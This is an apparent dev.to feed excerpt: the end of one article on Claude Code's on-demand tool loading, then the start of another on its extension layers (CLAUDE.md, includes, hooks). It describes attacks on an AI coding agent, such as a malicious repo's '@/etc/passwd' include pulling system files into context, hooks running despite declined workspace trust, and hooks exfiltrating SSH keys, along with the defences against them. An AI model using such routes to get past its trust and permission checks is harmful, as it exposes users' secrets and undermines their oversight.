&lt;p&gt;If the model switches from a supported model (Sonnet) to an unsupported one (Haiku) mid-conversation, the message history may contain &lt;code&gt;tool_reference&lt;/code&gt; blocks that the new model can't process. The system handles this by stripping tool-search artifacts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;useToolSearch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;apiMessages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;stripToolReferenceBlocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;assistant&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;stripCallerField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;tool_use&lt;/span&gt; &lt;span class="nx"&gt;caller&lt;/span&gt; &lt;span class="nx"&gt;metadata&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures the API never receives &lt;code&gt;tool_reference&lt;/code&gt; blocks when the current model doesn't support them, even if a previous model generated them.&lt;/p&gt;

&lt;p&gt;There's an additional stripping path for a subtler failure: MCP server disconnection. If a server disconnects mid-conversation, previously valid &lt;code&gt;tool_reference&lt;/code&gt; blocks now point to tools that don't exist in the current pool. The API rejects these with "Tool reference not found in available tools." The normalization pipeline strips &lt;code&gt;tool_reference&lt;/code&gt; blocks for tools that aren't in the current available set, even when tool search is otherwise enabled.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Turn Boundary Problem
&lt;/h3&gt;

&lt;p&gt;When the API server receives a &lt;code&gt;tool_result&lt;/code&gt; containing &lt;code&gt;tool_reference&lt;/code&gt; blocks, it expands them into a &lt;code&gt;&amp;lt;functions&amp;gt;&lt;/code&gt; block — the same format used for tool definitions at the start of the prompt. This expansion happens server-side, and it creates an unexpected problem in the wire format.&lt;/p&gt;

&lt;p&gt;The expanded &lt;code&gt;&amp;lt;functions&amp;gt;&lt;/code&gt; block appears inline in the conversation. If the same user message that contains the &lt;code&gt;tool_result&lt;/code&gt; also has text siblings (auto-memory reminders, skill instructions, etc.), those text blocks render as a second &lt;code&gt;Human:&lt;/code&gt; turn segment immediately after the &lt;code&gt;&amp;lt;/functions&amp;gt;&lt;/code&gt; closing tag. This creates an anomalous pattern in the conversation structure: two consecutive human turns with a functions block in between.&lt;/p&gt;

&lt;p&gt;The model learns this pattern. After seeing it several times in a conversation, it starts completing the pattern: when it encounters a bare tool result at the tail of the conversation (no text siblings), it emits the stop sequence instead of generating a meaningful response. The conversation just... stops. An A/B experiment with five arms confirmed the dose-response: more tool_reference messages with text siblings → higher stop-sequence rate.&lt;/p&gt;

&lt;p&gt;Two mitigations work in concert:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Turn boundary injection&lt;/strong&gt;: When a user message contains &lt;code&gt;tool_reference&lt;/code&gt; blocks and no text siblings, the system injects a minimal text block (&lt;code&gt;"Tool loaded."&lt;/code&gt;) as a sibling. This creates a clean &lt;code&gt;Human: Tool loaded.&lt;/code&gt; turn boundary that prevents the model from seeing a bare functions block at the tail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sibling relocation&lt;/strong&gt;: When a user message contains &lt;code&gt;tool_reference&lt;/code&gt; blocks AND has text siblings (from auto-memory, attachments, etc.), the system moves those text blocks to the next user message that has &lt;code&gt;tool_result&lt;/code&gt; content but NO &lt;code&gt;tool_reference&lt;/code&gt;. This eliminates the anomalous two-human-turns pattern. If no valid target exists (the tool_reference message is near the end of the conversation), the siblings stay — that's safe because a tail ending in a human turn gets a proper assistant cue.&lt;/p&gt;

&lt;h3&gt;
  
  
  Schema-Not-Sent Recovery
&lt;/h3&gt;

&lt;p&gt;Sometimes the model tries to call a deferred tool without first discovering it via ToolSearch. This happens when the model hallucinates having seen the tool's schema (perhaps from its training data) or when a prior discovery was lost to compaction. The call fails at input validation — the model sends parameters that don't match any known schema, because the schema was never sent.&lt;/p&gt;

&lt;p&gt;The raw validation error ("expected object, received string") doesn't tell the model what went wrong. So the system checks: is this a deferred tool that wasn't in the discovered set? If yes, it appends a hint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"This tool's schema was not sent to the API — it was not in the
discovered-tool set. Use ToolSearch to load it first:
ToolSearch({ query: 'select:&amp;lt;tool_name&amp;gt;' })"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This turns a confusing Zod error into an actionable instruction. The model reads the hint, calls ToolSearch, gets the schema, and retries — one extra turn instead of a conversation-ending failure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Invisible by Design
&lt;/h3&gt;

&lt;p&gt;ToolSearch calls never appear in the user's terminal output. The tool's &lt;code&gt;renderToolUseMessage&lt;/code&gt; returns null and its &lt;code&gt;userFacingName&lt;/code&gt; returns an empty string. In the message collapse system — which groups consecutive reads and searches into compact "Read 5 files" summaries — ToolSearch is classified as "absorbed silently": it joins a collapse group without incrementing any counter. The user sees "Read 3 files, searched 2 files" but the ToolSearch call that loaded the tool definitions is invisible.&lt;/p&gt;

&lt;p&gt;This is deliberate. ToolSearch is infrastructure, not user-facing functionality. Showing "Searched for tools" in the output would be confusing — the user asked to create a GitHub issue, not to search for tools. The tool discovery is an implementation detail of how the model accesses MCP tools, and the UI hides it accordingly.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Complete Pipeline
&lt;/h2&gt;

&lt;p&gt;Here's the full sequence for a single API request:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Mode check&lt;/strong&gt;: Determine if tool search is &lt;code&gt;tst&lt;/code&gt;, &lt;code&gt;tst-auto&lt;/code&gt;, or &lt;code&gt;standard&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Model check&lt;/strong&gt;: Verify the model supports &lt;code&gt;tool_reference&lt;/code&gt; blocks. If not, disable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Availability check&lt;/strong&gt;: Confirm ToolSearch is in the tool pool (not disallowed).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Threshold check&lt;/strong&gt; (tst-auto only): Count deferred tool tokens via API (or character heuristic fallback). Compare to &lt;code&gt;floor(contextWindow × 10%)&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Build deferred set&lt;/strong&gt;: Mark each tool as deferred or not via the priority checklist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scan history&lt;/strong&gt;: Extract discovered tool names from &lt;code&gt;tool_reference&lt;/code&gt; blocks and compact boundary snapshots.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Filter tools&lt;/strong&gt;: Include non-deferred tools, ToolSearch, and discovered deferred tools. Exclude undiscovered deferred tools.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Serialize schemas&lt;/strong&gt;: Add &lt;code&gt;defer_loading: true&lt;/code&gt; to deferred tools. Add beta header.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Announce pool&lt;/strong&gt;: Prepend deferred tool list or compute delta attachment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Send request&lt;/strong&gt;: API receives full definitions with &lt;code&gt;defer_loading&lt;/code&gt;, shows only non-deferred and discovered tools to the model.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Model searches&lt;/strong&gt;: Calls ToolSearch with a query. Gets &lt;code&gt;tool_reference&lt;/code&gt; blocks back.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Next turn&lt;/strong&gt;: Step 6 finds the new references. Step 7 includes the discovered tools. The model can now call them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compaction&lt;/strong&gt;: Before summarizing, snapshot discovered tools to boundary marker. After compaction, step 6 reads the snapshot.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each step fails toward loading more tools, not fewer. Unknown model? Load everything. Token count unavailable? Use conservative heuristic. Proxy detected? Load everything unless explicitly opted in. The worst case is wasting tokens on tool definitions. The best case is saving 90% of tool definition tokens while maintaining full functionality through on-demand discovery.&lt;/p&gt;

&lt;p&gt;The system turns an O(N) per-turn cost into O(1) for idle tools and O(k) for the k tools actually used in a conversation. For a user with 200 MCP tools who typically uses 5–10 per session, that's a 95% reduction in tool definition tokens — context space reclaimed for actual work.&lt;/p&gt;




&lt;h2&gt;
  
  
  Design Trade-offs
&lt;/h2&gt;

&lt;p&gt;Every engineering decision in this system reflects a trade-off. Here are the ones worth understanding:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deferral granularity&lt;/strong&gt;: Why defer by tool, not by MCP server? Server-level deferral would mean discovering one tool loads all tools from that server. This is simpler but wasteful — a GitHub server might have 40 tools, and you only need 3. Tool-level deferral uses more search turns but saves more tokens. The scoring system mitigates the extra turns: a single keyword search for "github" returns the most relevant tools, not all 40.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Negative vs. positive model list&lt;/strong&gt;: The unsupported model list (&lt;code&gt;["haiku"]&lt;/code&gt;) means every new model gets tool search by default. The alternative — a positive list of supported models — would mean every new model launch requires a code update. The negative list risks sending &lt;code&gt;tool_reference&lt;/code&gt; blocks to a model that can't handle them, but the API would return a clear error, and the feature flag system can add models to the unsupported list within minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token counting precision&lt;/strong&gt;: The character-per-token heuristic (2.5) is intentionally imprecise. Why not always use the API's token counter? Because the counter requires a network round-trip that might fail or add latency. The heuristic runs instantly. And the cost of over-counting (deferring when unnecessary) is one extra search turn. The cost of under-counting (not deferring when needed) is 60,000 wasted tokens per turn. The asymmetry favors the conservative heuristic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cache key design&lt;/strong&gt;: Both the description cache and token count cache use the sorted tool name list as key, not a hash. This means cache comparison is O(N) in the number of deferred tools, but N is typically &amp;lt;200 and the comparison runs once per API request. A hash would be O(1) but risks collisions, and debugging cache issues with hashed keys is harder than with readable name lists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Snapshot vs. protection&lt;/strong&gt;: Why snapshot discovered tools instead of protecting &lt;code&gt;tool_reference&lt;/code&gt; messages from compaction? The snip compaction strategy does protect these messages, but full compaction summarizes everything. Protecting individual messages from full compaction would fragment the summary and reduce its quality. The snapshot approach lets compaction work normally and reconstructs the discovery state from metadata.&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>mcp</category>
      <category>architecture</category>
      <category>aiagents</category>
    </item>
    <item>
      <title>How Claude Code Extends Itself: Skills, Hooks, Agents, and MCP</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Wed, 08 Apr 2026 03:06:40 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/how-claude-code-extends-itself-skills-hooks-agents-and-mcp-55pd</link>
      <guid>https://dev.to/oldeucryptoboi/how-claude-code-extends-itself-skills-hooks-agents-and-mcp-55pd</guid>
      <description>&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;You want Claude Code to know your team's conventions, run your linter after every edit, delegate research to a background worker, and call your internal APIs through custom tools. These are four different extension problems, and the naive approach — one plugin system that does everything — fails because each problem has a fundamentally different trust profile.&lt;/p&gt;

&lt;p&gt;Consider a team's coding conventions. These are passive instructions — text the model reads but never executes. They need no sandbox, no permissions, no isolation. Now consider a linter that runs after every file write. This is active code that executes on your machine in response to the model's actions. It needs a trust boundary: what if a malicious project's config file registers a hook that exfiltrates your SSH keys? Now consider a background research agent. It needs its own conversation, its own tool access, its own abort controller — but it must not silently approve dangerous operations. And a custom tool server? It's a separate process speaking a protocol, potentially remote, potentially untrusted.&lt;/p&gt;

&lt;p&gt;One extension system can't handle all of these safely. Passive instructions with no execution risk get the same UX as remote tool servers that can exfiltrate data? That's either too permissive for tools or too restrictive for instructions.&lt;/p&gt;

&lt;p&gt;The design principle is &lt;strong&gt;layered trust with fail-closed defaults&lt;/strong&gt;. Each extension type gets exactly the trust boundary its threat model requires. Instructions are injected as text — no execution, no permissions needed. Hooks execute deterministic code — sandboxed, workspace-trust-gated, exit-code-based control flow. Agents get isolated conversations with scoped tool access — permission prompts bubble to the parent. Tool servers run out-of-process with namespaced capabilities and enterprise policy controls. Unknown extension types don't silently succeed — they don't exist.&lt;/p&gt;

&lt;p&gt;This article traces six extension systems in execution order: CLAUDE.md (instructions), hooks (lifecycle callbacks), skills (reusable prompts), the tool pool (built-in + external), MCP (external tool servers), and agents (delegated execution). Each one exists because the others can't solve its problem safely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 1: CLAUDE.md — Instructions as Text
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem It Solves
&lt;/h3&gt;

&lt;p&gt;Every project has conventions. "Use bun, not npm." "Always run tests before committing." "Never modify the migration files directly." These need to reach the model on every turn, survive context compaction, and compose across nested directories — without executing anything.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Discovery Works
&lt;/h3&gt;

&lt;p&gt;Imagine you're working in &lt;code&gt;/home/alice/projects/myapp/src/components/&lt;/code&gt;. The system walks upward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/alice/projects/myapp/src/components/
/home/alice/projects/myapp/src/
/home/alice/projects/myapp/
/home/alice/projects/
/home/alice/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At each directory, it looks for three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CLAUDE.md&lt;/code&gt; (checked-in project instructions)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.claude/CLAUDE.md&lt;/code&gt; (same, nested in config dir)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.claude/rules/*.md&lt;/code&gt; (individual rule files)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But not all directories are equal. The full discovery hierarchy has six tiers, loaded in order from lowest to highest priority:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Managed      — /etc/claude-code/CLAUDE.md (enterprise policy, always loaded)
2. User         — ~/.claude/CLAUDE.md (your personal global instructions)
3. Project      — CLAUDE.md files found walking up from cwd
4. Local        — CLAUDE.local.md (gitignored, private per-developer)
5. AutoMemory   — ~/.claude/projects/.../memory/MEMORY.md (persistent learning)
6. TeamMemory   — Shared team memory (experimental)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Priority matters because the model pays more attention to later content. Your project's "use bun" instruction at tier 3 takes precedence over a user-level "use npm" at tier 2. Enterprise policy at tier 1 is loaded first but can't be overridden by anything below it — it's structurally guaranteed to be present.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Include System
&lt;/h3&gt;

&lt;p&gt;A CLAUDE.md can reference other files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gh"&gt;# Project Rules&lt;/span&gt;
@./docs/coding-standards.md
@./docs/api-conventions.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;@&lt;/code&gt; directive pulls in external files as separate instruction entries. Resolution rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;@./relative&lt;/code&gt; — relative to the including file's directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@~/path&lt;/code&gt; — relative to home&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@/absolute&lt;/code&gt; — absolute path&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Circular includes are tracked by recording every processed path in a set. If file A includes B and B includes A, the second inclusion is silently skipped.&lt;/p&gt;

&lt;p&gt;Security: only whitelisted text file extensions are loadable — over 100 extensions covering code, config, and documentation formats. Binary files (images, PDFs, executables) are rejected. This prevents a crafted include path from loading arbitrary binary data into the model's context.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conditional Rules
&lt;/h3&gt;

&lt;p&gt;Rule files can have frontmatter that restricts when they activate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;src/api/**&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;
Never use raw SQL queries in API handlers. Always use the query builder.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This rule only appears when the model is working on files matching &lt;code&gt;src/api/**&lt;/code&gt;. The matching uses gitignore-style patterns — the same library that handles &lt;code&gt;.gitignore&lt;/code&gt;, so glob semantics are consistent. Rules without a &lt;code&gt;paths&lt;/code&gt; field apply unconditionally.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Instructions Reach the Model
&lt;/h3&gt;

&lt;p&gt;All discovered files are concatenated into a single block, wrapped in a system-reminder tag, and injected as part of a user message — not the system prompt. This is a deliberate choice: system prompt content is cached aggressively, but CLAUDE.md content can change between turns (the user might edit a file). By injecting it as user-message content, it gets re-read on every turn without invalidating the system prompt cache.&lt;/p&gt;

&lt;p&gt;The instruction block carries a header that tells the model these instructions override default behavior — a prompt-level enforcement that complements the structural priority ordering.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fail-Closed Properties
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Unknown file extensions in &lt;code&gt;@include&lt;/code&gt; → silently skipped (no binary loading)&lt;/li&gt;
&lt;li&gt;File read errors (ENOENT, EACCES) → silently skipped (missing files don't crash)&lt;/li&gt;
&lt;li&gt;Circular includes → tracked and deduplicated&lt;/li&gt;
&lt;li&gt;Frontmatter parse errors → content loaded without conditional filtering (fail-open on conditions, fail-closed on content)&lt;/li&gt;
&lt;li&gt;HTML comments → stripped (authorial notes don't reach the model)&lt;/li&gt;
&lt;li&gt;AutoMemory → truncated after 200 lines (prevents unbounded context growth)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Trade-Off: Safety Over Convenience
&lt;/h3&gt;

&lt;p&gt;External includes (files outside the project root) require explicit approval. A CLAUDE.md in a cloned repository can't silently &lt;code&gt;@/etc/passwd&lt;/code&gt; to exfiltrate system files into the model's context. The user must approve external includes once per project — a one-time friction that prevents a class of supply-chain attacks where a malicious repo's instructions load sensitive files.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 2: Hooks — Deterministic Lifecycle Callbacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem It Solves
&lt;/h3&gt;

&lt;p&gt;You want to run your linter after every file write. You want to block the model from committing to main. You want to send a webhook when a session ends. These are deterministic actions — no LLM judgment needed — that execute in response to specific lifecycle events.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack That Shaped the Design
&lt;/h3&gt;

&lt;p&gt;Early in development, a vulnerability was discovered: a project's &lt;code&gt;.claude/settings.json&lt;/code&gt; could register SessionEnd hooks that executed when the user declined the workspace trust dialog. The user says "I don't trust this workspace" and the workspace's code runs anyway. This led to a blanket rule: &lt;strong&gt;all hooks require workspace trust&lt;/strong&gt;. In interactive mode, no hook executes until the user has explicitly accepted the trust dialog.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hook Events
&lt;/h3&gt;

&lt;p&gt;Hooks fire at ~28 lifecycle points. The most important ones:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PreToolUse    — Before any tool executes (can block, modify input, or allow)
PostToolUse   — After successful tool execution (can inject context)
Stop          — Before the model stops (can force continuation)
SessionStart  — When a session begins
SessionEnd    — When a session ends (1.5-second timeout, not 10 minutes)
Notification  — When the system sends a notification
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each event carries structured JSON input — the tool name, the tool's input, session IDs, working directory, and more.&lt;/p&gt;

&lt;h3&gt;
  
  
  Four Hook Types
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Command hooks&lt;/strong&gt; spawn a shell process (bash or PowerShell). The hook's JSON input is written to stdin. The process's exit code determines the outcome:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Exit 0  →  Success (continue normally)
Exit 2  →  Blocking error (prevent the action)
Exit 1  →  Non-blocking error (log and continue)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the process writes JSON to stdout matching the hook output schema, that JSON controls behavior — permission decisions, additional context, modified tool input. If stdout isn't JSON, it's treated as plain text feedback.&lt;/p&gt;

&lt;p&gt;A concrete example: a PreToolUse hook that blocks dangerous git operations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Read JSON input from stdin&lt;/span&gt;
&lt;span class="nv"&gt;INPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;TOOL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$INPUT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.tool_name'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;COMMAND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$INPUT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.tool_input.command // empty'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TOOL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Bash"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$COMMAND&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"git push.*--force"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'{"decision": "block", "reason": "Force push blocked by policy"}'&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;2
&lt;span class="k"&gt;fi
&lt;/span&gt;&lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The exit code and JSON output are redundant by design — either mechanism can block. Exit code 2 without JSON still blocks. JSON &lt;code&gt;{"decision": "block"}&lt;/code&gt; without exit code 2 still blocks. This redundancy means a hook that crashes mid-output (writing partial JSON) still has the exit code as a fallback signal.&lt;/p&gt;

&lt;p&gt;On Windows, command hooks run through Git Bash, not cmd.exe. Every path in environment variables is converted from Windows format (&lt;code&gt;C:\Users\foo&lt;/code&gt;) to POSIX format (&lt;code&gt;/c/Users/foo&lt;/code&gt;) — Git Bash can't resolve Windows paths. PowerShell hooks skip this conversion and receive native paths.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prompt hooks&lt;/strong&gt; send the hook input to a fast model (Haiku by default) with a structured output schema: &lt;code&gt;{ok: boolean, reason?: string}&lt;/code&gt;. No tool access. 30-second timeout. The LLM evaluates whether the action should proceed — useful when the decision requires judgment ("is this API call secure?") rather than deterministic checking. Thinking is disabled to reduce cost and latency.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Agent hooks&lt;/strong&gt; are multi-turn: they spawn a restricted agent that can use tools (Read, Bash) to investigate, then must call a synthetic output tool with &lt;code&gt;{ok, reason}&lt;/code&gt;. 60-second timeout, 50-turn limit. The agent can read test output, check file contents, then make a judgment. Its tool pool is filtered — no subagent spawning, no plan mode — to prevent recursive agent creation. If the agent hits 50 turns without producing structured output, it's cancelled silently — a fail-safe against infinite loops.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP hooks&lt;/strong&gt; POST the JSON input to a URL. SSRF protection blocks private/link-local IP ranges (except loopback). No redirects are followed (&lt;code&gt;maxRedirects: 0&lt;/code&gt;). Header values support environment variable interpolation, but only from an explicit allowlist — &lt;code&gt;$SECRET_TOKEN&lt;/code&gt; only resolves if &lt;code&gt;SECRET_TOKEN&lt;/code&gt; is in the hook's &lt;code&gt;allowedEnvVars&lt;/code&gt; array. Unresolved variables expand to empty strings, preventing accidental exfiltration. CRLF and NUL bytes are stripped from header values to prevent header injection attacks.&lt;/p&gt;

&lt;p&gt;HTTP hooks are blocked for SessionStart and Setup events in headless mode — the sandbox callback would deadlock because the structured input consumer hasn't started yet when these hooks fire.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pattern Matching
&lt;/h3&gt;

&lt;p&gt;Hooks can filter by event subtype. A PreToolUse hook with matcher &lt;code&gt;"Write|Edit"&lt;/code&gt; only fires for file writes and edits. Matchers support:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Simple strings: &lt;code&gt;"Write"&lt;/code&gt; (exact match)&lt;/li&gt;
&lt;li&gt;Pipe-separated: &lt;code&gt;"Write|Edit"&lt;/code&gt; (multiple exact matches)&lt;/li&gt;
&lt;li&gt;Regex patterns: &lt;code&gt;"^Bash.*"&lt;/code&gt; (full regex)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An additional &lt;code&gt;if&lt;/code&gt; condition supports permission-rule syntax: &lt;code&gt;"Bash(git *)"&lt;/code&gt; only fires for bash commands starting with &lt;code&gt;git&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Aggregation and Priority
&lt;/h3&gt;

&lt;p&gt;Multiple hooks can fire for the same event. Results are aggregated with a strict priority:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Any hook returns "deny"    → action is blocked (deny wins)
2. Any hook returns "allow"   → action is allowed (if no deny)
3. Any hook returns "ask"     → prompt the user
4. Default                    → normal permission flow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single deny from any hook overrides all allows. This is the fail-closed property: a security hook can't be overridden by a convenience hook.&lt;/p&gt;

&lt;h3&gt;
  
  
  Configuration Snapshot
&lt;/h3&gt;

&lt;p&gt;Hook configurations are captured at startup into a frozen snapshot. Settings changes during the session update the snapshot, but the hooks that actually execute come from this snapshot — not from a live re-read of settings files. This prevents a TOCTOU attack where a process modifies &lt;code&gt;.claude/settings.json&lt;/code&gt; between the trust check and hook execution.&lt;/p&gt;

